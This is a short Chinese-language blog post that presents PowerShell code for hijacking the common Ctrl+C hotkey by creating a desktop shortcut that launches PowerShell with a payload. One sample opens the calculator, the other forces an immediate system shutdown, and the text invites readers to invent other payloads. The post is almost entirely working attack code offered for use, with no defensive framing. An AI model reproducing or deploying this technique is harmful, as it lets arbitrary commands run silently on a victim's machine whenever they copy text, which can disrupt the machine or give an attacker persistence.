欢迎光临
我们一直在努力

Hijacking Common Windows Shortcuts with Powershell

Demo:

Hijacking-Common-Windows-Shortcuts-with-Powershell Hijacking Common Windows Shortcuts with Powershell

劫持快捷键,执行命令。

Code:

calc:


$WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("desktop/desktoppayload.lnk") $Shortcut.TargetPath = "%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe" $Shortcut.IconLocation = "%SystemRoot%/System32/Shell32.dll,21" $Shortcut.hotkey = "ctrl+c" $Shortcut.Arguments = 'calc' $Shortcut.Save()

shutdown:


$WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("desktop/desktoppayload.lnk") $Shortcut.TargetPath = "%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe" $Shortcut.IconLocation = "%SystemRoot%/System32/Shell32.dll,21" $Shortcut.hotkey = "ctrl+c" $Shortcut.Arguments = 'shutdown /s /t 0' $Shortcut.Save()

更多玩儿法,你来创造~

未经允许不得转载:杂术馆 » Hijacking Common Windows Shortcuts with Powershell
分享到: 更多 (0)